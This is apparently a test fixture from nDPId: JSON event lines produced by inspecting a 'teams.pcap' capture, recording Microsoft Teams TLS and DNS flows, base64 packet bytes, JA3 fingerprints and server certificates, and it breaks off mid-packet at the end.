+00496{"flow_id":52,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2149,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041686,"pkt_ts_usec":989758,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"KDc3AG3IEBMx8Tl2CABFAABnPd1AAGwG3UQofglDwKgBBgG77JCDb+EgjKXe14AYBAS3VwAAAQEIClJEhzYwhL\/OFAMDAAEBFgMDACgAAAAAAAAAADZpCQltcb4W89AtkdO9slaMxcqcxRBEn0SsLOBRfFJa"} +00427{"flow_id":52,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2150,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041686,"pkt_ts_usec":989876,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGR1XAqAEGKH4JQ+yQAbuMpd7Xg2\/hU4AQD\/7q2gAAAQEICjCEv+lSRIc2"} +02365{"flow_id":52,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2151,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041686,"pkt_ts_usec":990857,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"EBMx8Tl2KDc3AG3ICABFAAXIAABAAEAGQcHAqAEGKH4JQ+yQAbuMpd7Xg2\/hU4AQEABNrgAAAQEICjCEv+pSRIc2FwMDBr4AAAAAAAAAAePA94OGpVBLytLIfaroE7oqp+HOXd8UByPugH8HzrPxHY6FbCeiWSuRr5zpNXdpR1RsQklvrI6HCoVzS6XUdIKYRsmPO4RJ2a4E1u6OwWTePx2dxO60BO+qIdaZ5ecNtxrmRIIUi1e1Trl8m8kAsb\/VbNaIPR7hOzHhbl+PypQ9GCfmgVj\/fxHQISVjgqCa8FkXQxPA90ZNPOiF1hfXyWHxiXMbo8ZrFOhBnsxxfZiFCWF3E9YOUGLW7iCkTl90elvDyrmexD0ZfbytvWp\/gUgVwh8RkSDmPblo4ZSkiRU0VDGLSrHQoNt3wqABFEYBRDzXsVAh8MThL3+IqsQpVjPw5oYPDjeo3+xpjYpGgcLm3eekFOemHb2sMXGYiNLYvAsORs6lEkfgVcxWkpTJvE34NcuHORFRSZ0IUgZ1dscJvS6bIFBGdnvA2W0maKiA3H0YD6UA2uogVS7MwY2oXUofDoDwZO5uDMX57KUQ+cr866deE0u7ipaVduqIEp8GnNYxCcDgGsju0RCibBjASiYBbu3mpXeh5epFHGuxHRYKMxCC27X8RVdeTH8JDHuO2nvY17ZrNIqLlQdT2gzfNow05J1usWPgsfn2UaL2pca01ZMYcnprMp1yyKvuL1wI7WWxrRpfHP9Xl+Ip7y8q6BeuZ\/e2nl8oybNEkOCvP+P+wqvczxBIfxipTRAVDBO5j\/hCWBDgAjVVWvSUU\/4bKyeqBxBuUckSS2l126lImxlqhDN752EBOoS7IUXDNgqOiqc1AqegdcJaM23lOplPvxancBb6PP\/dZMlZFmJKfQrGzvkPMrkAn3wpAvrsMxiIEJWeZilB9lD2I47th3wCcHXBOWURaTK1OMDYQ0NYB\/5VJ282WNWThXOOC2PpdV9spt9akXKXGPhDjkTA1pT6I\/fAaF0K6AoYo+PgVgPNWN0ZtPMu87dzvl4a9rLl2xDOsuWPbAoT+EYjTlKzuigNrU\/1rOK19D\/8DowgTfc6FK9Nxz2mA2w2vI6DHiWE8WSwfEcZyCbJ2zLwT8NoYVftk0XavGvmEoyb44Bbz90\/eeSN5Vr58wutjx9faAc5iMMVwIK2Js\/oydOBXaeTfsURd2dRcROAB0czOCJETnJDO1n17bYR2LlKYI4EzlerwQ4PD21NZAlCwT3YxCrUaSYCoPRDlUVgo9Dh2X79F2BTGQi5BF4f7B+wG7boz\/kBE5bSdJXAn0pSSkOl8ybYDTK84m1wcEHwGDnUlCrVopvZJJU0WPReT7JdPTJNuztetf\/0S+yp9NNADe\/uAgy2y80hYfysGsjGFU+WvzInfYbhbU5hz\/pTqH\/JK7p4pWtRnQdscy1FrkdkENLAQXzRE8jPzA\/1R\/bD7l5+4X3bozs9z8sggarZr422ILU2L0V4o44eyZLWaSc\/pUcwD5vjKaxKUYH4hjeOc9rYdiKfoxiA6CYssx1aMm\/86YVLhrpq6YcFbxm5TbZ9681fAZw0xMCmntVIOe7mL4IaXCZvomgA0dovYjVmlm6RFkvU02tjQXxpi6Af1ekZWphYc5vKYGlJU4X8kCv5HtHoHZ8XUQ1E7e\/9w9yYB+\/Y5uW\/r\/tnpLB93a58YEWJSvj9u\/g2QOcybfAefqfllvkVj3IckRbnmgMIrOv5sAjYloF7AnSDCqHf9qPRn6NWaeGBqp192nwhaWUHpMLpOrsPM3qHyRJZmgP+WpRmRKw8Nnytuo9E7mmI+nGT3qHxuAkXPIdv6ilCZwdtuyZ6NWDgiWLKaj94jQ2nxJUDH4EQaFPgdwD\/PBDv0+l7Qw6Id\/+oPXfM2Zmi7tSgctaTANJmVk5dlzzfxFGg5DiIyULK+Y1UrBMY521S4mY19PeomcDR4x2n8AGxYBc049BUeffY"} +00840{"flow_id":52,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2152,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041686,"pkt_ts_usec":990861,"pkt_caplen":369,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":369,"pkt_l4_len":335,"pkt":"EBMx8Tl2KDc3AG3ICABFAAFjAABAAEAGRibAqAEGKH4JQ+yQAbuMpeRrg2\/hU4AYEACL+AAAAQEICjCEv+pSRIc2T3+mjlZiqvbSIDS3yLvmShrsZpTdEV0CSknJx5v5+YLFlaaPK8+ftc599Xj2DRHchYBtpvqLLN+5pP+TvtxqTjsw5hzPtq5q1uzS+S9M0Km3DX5xYcUsZT9velQx0jRi4+X2MlHPL7YU7A6KRKGx1OVWljS\/7qWTSdb0mQKgyQ7pWtIixslp31xh7yft5bDMRxJliVXwceBH\/1w+ox97x8oBqUiBfNWVaj3d2hGQG6TiV688PRENTqErJXTDMUieGv0vJkh\/T1OzjQPCg7TZe4oVOcBmRO1r2t25kvfR6cqsYFMYuDBXWEvlJB4cg\/smK4evTuN\/c4rerSDOolH0ulyxPnAKXgqzvFsJl5luX\/1O15UOeC9pxDfoRB3THa6onajGaeaSN\/0s6q9KSVT9"} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2189,"source":"teams.pcap","alias":"nDPId-test","flow_id":53,"flow_packet_id":1,"flow_first_seen":1587041687245,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.77.33","src_port":60561,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":53,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2189,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041687,"pkt_ts_usec":245112,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAG93bAqAEGNHJNIeyRAbt4yq\/kAAAAALAC\/\/\/rWgAAAgQFtAEDAwUBAQgKMITA4AAAAAAEAgAA"} +00436{"flow_id":53,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2193,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041687,"pkt_ts_usec":293530,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8EaVAAGwGudU0ck0hwKgBBgG77JHMBk4keMqv5aASIADnTgAAAgQFoAEDAwgEAggKYPR58TCEwOA="} +00425{"flow_id":53,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2194,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041687,"pkt_ts_usec":293639,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG94LAqAEGNHJNIeyRAbt4yq\/lzAZOJYAQEAkl0AAAAQEICjCEwQ9g9Hnx"} +00706{"flow_id":53,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2195,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041687,"pkt_ts_usec":294098,"pkt_caplen":272,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":272,"pkt_l4_len":238,"pkt":"EBMx8Tl2KDc3AG3ICABFAAECAABAAEAG9rTAqAEGNHJNIeyRAbt4yq\/lzAZOJYAYEAmZKwAAAQEICjCEwQ9g9HnxFgMBAMkBAADFAwOyv9PSQv\/SmdcPkRjuFnJs95jqk9PvclXpwloDxRoWsCDkPAAAKbM0d7f12FXyaEAA7qD+P9kwtx+HS3tAUpaW7wAewC\/AK8AwwCzMqcyowAnAE8AKwBQAnACdAC8ANQAKAQAAXv8BAAEAAAAAIwAhAAAebW9iaWxlLnBpcGUuYXJpYS5taWNyb3NvZnQuY29tABcAAAAjAAAADQAUABIEAwgEBAEFAwgFBQEIBgYBAgEACwACAQAACgAIAAYAHQAXABg="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2195,"source":"teams.pcap","alias":"nDPId-test","flow_id":53,"flow_packet_id":4,"flow_first_seen":1587041687245,"flow_last_seen":1587041687294,"flow_tot_l4_data_len":354,"flow_min_l4_data_len":32,"flow_max_l4_data_len":238,"flow_avg_l4_data_len":88,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.77.33","src_port":60561,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Microsoft","breed":"Safe","category":"Cloud"},"tls": {"version":"TLSv1.2","client_requested_server_name":"mobile.pipe.aria.microsoft.com","ja3":"a1674500365bdd882188db63730e69a2","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2196,"source":"teams.pcap","alias":"nDPId-test","flow_id":54,"flow_packet_id":1,"flow_first_seen":1587041687370,"flow_last_seen":0,"flow_tot_l4_data_len":49,"flow_min_l4_data_len":49,"flow_max_l4_data_len":49,"flow_avg_l4_data_len":49,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":54069,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00448{"flow_id":54,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2196,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041687,"pkt_ts_usec":370480,"pkt_caplen":83,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":83,"pkt_l4_len":49,"pkt":"EBMx8Tl2KDc3AG3ICABFAABF06EAAP8RZK7AqAEGwKgBAdM1ADUAMUK+cAQBAAABAAAAAAAAA2FwaQ9taWNyb3NvZnRzdHJlYW0DY29tAAABAAE="} +00640{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2196,"source":"teams.pcap","alias":"nDPId-test","flow_id":54,"flow_packet_id":1,"flow_first_seen":1587041687370,"flow_last_seen":0,"flow_tot_l4_data_len":49,"flow_min_l4_data_len":49,"flow_max_l4_data_len":49,"flow_avg_l4_data_len":49,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":54069,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"api.microsoftstream.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00706{"flow_id":53,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2197,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041687,"pkt_ts_usec":382278,"pkt_caplen":272,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":272,"pkt_l4_len":238,"pkt":"EBMx8Tl2KDc3AG3ICABFAAECAABAAEAG9rTAqAEGNHJNIeyRAbt4yq\/lzAZOJYAYEAmY0wAAAQEICjCEwWdg9HnxFgMBAMkBAADFAwOyv9PSQv\/SmdcPkRjuFnJs95jqk9PvclXpwloDxRoWsCDkPAAAKbM0d7f12FXyaEAA7qD+P9kwtx+HS3tAUpaW7wAewC\/AK8AwwCzMqcyowAnAE8AKwBQAnACdAC8ANQAKAQAAXv8BAAEAAAAAIwAhAAAebW9iaWxlLnBpcGUuYXJpYS5taWNyb3NvZnQuY29tABcAAAAjAAAADQAUABIEAwgEBAEFAwgFBQEIBgYBAgEACwACAQAACgAIAAYAHQAXABg="} +00386{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2198,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041687,"pkt_ts_usec":412781,"pkt_caplen":60,"pkt_type":34969,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"\/\/\/\/\/\/\/\/2A0X1lWriJklgAAA2A0X1lWrAACAAADYDRfWVauACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00158{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":2198,"source":"teams.pcap","alias":"nDPId-test","type":34969} +00780{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2199,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041687,"pkt_ts_usec":427043,"pkt_caplen":321,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":321,"pkt_l4_len":287,"pkt":"\/\/\/\/\/\/\/\/2A0X1lWrCABFAAEzETBAAEARZ+HAqAAB\/\/\/\/\/wBEAEMBHwAAAQEGAJGRMVEAAIAAAAAAAAAAAAAAAAAAAAAAANgNF9ZVqwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEBNwIBAwwJVEwtU0cxMTZFPAlUTC1TRzExNkU9BwHYDRfWVav\/"} +00440{"flow_id":53,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2200,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041687,"pkt_ts_usec":430016,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"KDc3AG3IEBMx8Tl2CABFAABAEaZAAGwGudA0ck0hwKgBBgG77JHMBk4leMqws7AQBAWoNwAAAQEICmD0enowhMEPAQEFCnjKr+V4yrCz"} +00692{"flow_id":54,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2201,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041687,"pkt_ts_usec":435320,"pkt_caplen":264,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":264,"pkt_l4_len":230,"pkt":"KDc3AG3IEBMx8Tl2CABFAAD6rblAADkRD+LAqAEBwKgBBgA10zUA5gAAcASBgAABAAYAAAAAA2FwaQ9taWNyb3NvZnRzdHJlYW0DY29tAAABAAHADAAFAAEAAAe+AB8DYXBpBnN0cmVhbQ50cmFmZmljbWFuYWdlcgNuZXQAwDUABQABAAAAPAAJBmV1d2UtMcAMwGAABQABAAAEVQANCmV1d2UtMS1hcGnAQMB1AAUAAQAAACkACwhldXdlLTEtMcAMwI4ABQABAAAAwQApHWFtcy1ldXdlLTEtaG9zLWFwaWdhdGV3YXktMS0xCGNsb3VkYXBwwE\/ApQABAAEAAAANAARoKLuX"} +00670{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2201,"source":"teams.pcap","alias":"nDPId-test","flow_id":54,"flow_packet_id":2,"flow_first_seen":1587041687370,"flow_last_seen":1587041687435,"flow_tot_l4_data_len":279,"flow_min_l4_data_len":49,"flow_max_l4_data_len":230,"flow_avg_l4_data_len":139,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":54069,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"api.microsoftstream.com","num_queries":1,"num_answers":6,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"104.40.187.151"}} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2202,"source":"teams.pcap","alias":"nDPId-test","flow_id":55,"flow_packet_id":1,"flow_first_seen":1587041687436,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"104.40.187.151","src_port":60562,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":55,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2202,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041687,"pkt_ts_usec":436782,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGVUrAqAEGaCi7l+ySAbtvi5oIAAAAALAC\/\/9njAAAAgQFtAEDAwUBAQgKMITBnAAAAAAEAgAA"} +00436{"flow_id":55,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2203,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041687,"pkt_ts_usec":466298,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8OsBAAGwG7o1oKLuXwKgBBgG77JKBluUGb4uaCaASIADVGwAAAgQFoAEDAwgEAggKAbkbHzCEwZw="} +00424{"flow_id":55,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2204,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041687,"pkt_ts_usec":466398,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGVVbAqAEGaCi7l+ySAbtvi5oJgZblB4AQEAkTrwAAAQEICjCEwbkBuRsf"} +00716{"flow_id":55,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2205,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041687,"pkt_ts_usec":466635,"pkt_caplen":280,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":280,"pkt_l4_len":246,"pkt":"EBMx8Tl2KDc3AG3ICABFAAEKAABAAEAGVIDAqAEGaCi7l+ySAbtvi5oJgZblB4AYEAl2MwAAAQEICjCEwbkBuRsfFgMBANEBAADNAwNcYEYY9r+P9DTmk4+ghvjGxbgXLamZQ7BCvuLi0gzQzQAAHMrKzKnMqMArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAACI2toAAP8BAAEAAAAAHAAaAAAXYXBpLm1pY3Jvc29mdHN0cmVhbS5jb20AFwAAACMAAAANABQAEgQDCAQEAQUDCAUFAQgGBgECAQAFAAUBAAAAAAASAAAAEAAOAAwCaDIIaHR0cC8xLjEACwACAQAACgAKAAgqKgAdABcAGAAbAAMCAAIaGgABAA=="} +00721{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2205,"source":"teams.pcap","alias":"nDPId-test","flow_id":55,"flow_packet_id":4,"flow_first_seen":1587041687436,"flow_last_seen":1587041687466,"flow_tot_l4_data_len":362,"flow_min_l4_data_len":32,"flow_max_l4_data_len":246,"flow_avg_l4_data_len":90,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"104.40.187.151","src_port":60562,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"api.microsoftstream.com","ja3":"ebf5e0e525258d7a8dcb54aa1564ecbd","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +02365{"flow_id":55,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2206,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041687,"pkt_ts_usec":512045,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUOsFAAGwG6PRoKLuXwKgBBgG77JKBluUHb4ua34AQBAUPSwAAAQEICgG5Gz4whMG5FgMDF2ACAABeAwNemFWXWoznNEDG0nqSFdxS15urfQPAW1Ki15lKX+AAtiAKRAAA667wWoqa+vDiRfvp7swmXkbxWCktv+PyIN9JCMAwAAAWAAUAAAAQAAUAAwJoMgAXAAD\/AQABAAsADpsADpgACNowggjWMIIGvqADAgECAhMtAAcUzkF9hlrqvm6yAAAABxTOMA0GCSqGSIb3DQEBCwUAMIGLMQswCQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMRUwEwYDVQQLEwxNaWNyb3NvZnQgSVQxHjAcBgNVBAMTFU1pY3Jvc29mdCBJVCBUTFMgQ0EgNTAeFw0xOTA3MTYwMDAyMzBaFw0yMTA3MTYwMDAyMzBaMCQxIjAgBgNVBAMMGSouYXBpLm1pY3Jvc29mdHN0cmVhbS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCYCLN53Kexlrvsr+3rXZR74UHw5zlzegNiM6ErPRT\/txn4iFY2zFTqC+sWY7W7Oz4G1tsBCxRCqDiWTxn5SoBhxDmnlpMqOtTTpv5IM4kd\/8Guw\/818ANBFltXQet6T9XZsisGK5x9lUCYcHW8ynBG3v5uNf0Z6m2VB67+wzZ2C3iG0UAM447HUmbA40yblclmVBneenfOna+w64hv1nSyt5YNMGiattt3RBLqQ25FUDZwDSm6\/Xrxs5bFSfj0HMxAb5EpzZ2SxfSP+UgsmRV0Oq\/HfZsAL9LwqbT3aESBPoyba7n926l2qjVJiyrcjkPpm+NqXC8ligQT0pRVDCcpAgMBAAGjggSXMIIEkzCCAfUGCisGAQQB1nkCBAIEggHlBIIB4QHfAHUA7ku9t3XOYLrhQmkfq+GeZqMPfl+wctiDAMR7iXqo\/csAAAFr+B+sPAAABAMARjBEAiBx6hq9wYK8lGTp3u5E7AFX+BkbRLRZ5Lup8OuEt\/B0tQIgGypwFVlROzmTzUQqtoWQp2MHW1EriZKLwX2GVgWat5wAdgBElGUusO7Or8RAB9io\/ijA2uaCvtjLMbU\/0zOWtbaBqAAAAWv4H61YAAAEAwBHMEUCIBBA4jXntmRWzvCXbsrMW4W1hyQue\/vS7Ncn0z5ewGEwAiEAln3ydSWKxMs1mek8BuU+Pp\/Ar72loNB67Ntve4Q85KAAdgBVgdTCFpA2AUrqC5tXPFPwwOQ4eHAlCBcvo6odBxPTDAAAAWv4H62XAAAEAwBHMEUCIQDLjQfYXTzdnrjIDBYNPqxZrBUDuC2VVPJNvuwXJuHkoAIgHkqG2mwJ4b5UFgxZl8\/iCIL8mYENQc4ZRdEfVujQdbMAdgBc3EOS\/uarRUSxXprUVuYQN\/vV+kfcoXOUsl7m9scOygAAAWv4H6xWAAAEAwBHMEUCIDM4gWIHlpsWZA++c4q0XblHDWvH710R4c4I0Xek5jDJAiEAoovM291ZXguFtfeLFlqPtsBXmuKsHbLob14668lLPKIwJwYJKwYBBAGCNxUKBBowGDAKBggrBgEFBQcDAjAKBggrBgEFBQcDATA+BgkrBgEEAYI3FQcEMTAvBicrBgEEAYI3FQiH2oZ1g+7ZAYLJhRuBtZ5hhfTrYIFdhNLfQoLnk3oCAWQCAR0wgYUGCCsGAQUFBwEBBHkwdzBRBggrBgEFBQcwAoZFaHR0cDovL3d3dy5taWNyb3NvZnQuY29tL3BraS9tc2NvcnAvTWljcm9zb2Z0JTIwSVQlMjBUTFMlMjBDQSUyMDUuY3J0MCIGCCsGAQUFBzABhhZodHRwOi8vb2NzcC5tc29jc3AuY29tMB0GA1UdDgQWBBRaFtJxTHeO"} +02376{"flow_id":55,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2207,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041687,"pkt_ts_usec":512265,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUOsNAAGwG6PJoKLuXwKgBBgG77JKBlvBHb4ua34AQBAUKLwAAAQEICgG5Gz4whMG5u7ULEJXx3wLpj46dVpk82I\/TWPtckn49e\/hQSVr3EHt3+OZKkEpVUt6UrXQJoGRXLM0HkJ8WrZXD0Qa68e9sBbUErKncGzGbDi0ZlQRP3mbLrTVyrxmCCLIUOhZfsDyb240MsALWJh\/oFXHE7\/ljOUOM6cKSLqHCoDAlDpYnX56jK4LWEL08GR6mh\/5VITpcQfwBmMwvkv9mOLS4ZpwPEmhLSqyGu16Y\/56mnFNsMxGk0K5SR9eLj\/GWrLkpmo8s8a1kGMMmuwBk3lBwwLvsxmuu06DvwPFcDfLMelnaGDMvWRCtZxQsXyJDSkTh6N3g51UWTgnvA0wMSFBa8APfju9jyltnh0NALAa2Hw8+U8BmP9cUFeYIYphIfoPlp7VdUS1ULWH9NF3Ut4DN0n3OsSQ785dsbBPeihfJivVIlUL3EpDjEBf2oQDFNiplkZ4F7EIuWriZG\/\/UTrX6ZlXZg46\/CCmN+gsCAwEAAaOCAUIwggE+MB0GA1UdDgQWBBQI\/iWfdOqHBMK8u46oOF8zxtFsZTAfBgNVHSMEGDAWgBTlnVkwgkdYzKz6CFQ2hns6tQRN8DASBgNVHRMBAf8ECDAGAQH\/AgEAMA4GA1UdDwEB\/wQEAwIBhjAnBgNVHSUEIDAeBggrBgEFBQcDAQYIKwYBBQUHAwIGCCsGAQUFBwMJMDQGCCsGAQUFBwEBBCgwJjAkBggrBgEFBQcwAYYYaHR0cDovL29jc3AuZGlnaWNlcnQuY29tMDoGA1UdHwQzMDEwL6AtoCuGKWh0dHA6Ly9jcmwzLmRpZ2ljZXJ0LmNvbS9PbW5pcm9vdDIwMjUuY3JsMD0GA1UdIAQ2MDQwMgYEVR0gADAqMCgGCCsGAQUFBwIBFhxodHRwczovL3d3dy5kaWdpY2VydC5jb20vQ1BTMA0GCSqGSIb3DQEBCwUAA4IBAQA+8s8wpXq\/HmrfOVgYKDzDne7ngcVL\/Gf2vx9ON9re8K\/uivkDe2BndMc72v8rSuv9VHUTi+XCgRK6UhIguimKOs1DJMzVFwX+nBY\/c+BtQcB2PfKrSMVZYmS6RE8KGII\/Qeo\/GDpY56AwV3X10WoxFLaUmWXatugB3uSr+7Xz5RkKGF+kAlfetlwmb3P+Lgn1CEPED8ckf50oZ2Wh3FvwOv34cIXnpU8k3kI\/HUQ7XYUGhR0eHNTZTlHk\/R4RFsyeANmXGpfjZceGNRtTdr4y0SxBSUujPpMMW3dXBzA8NYuM0WmiJ\/pV6KudEB7RF9+6bInTy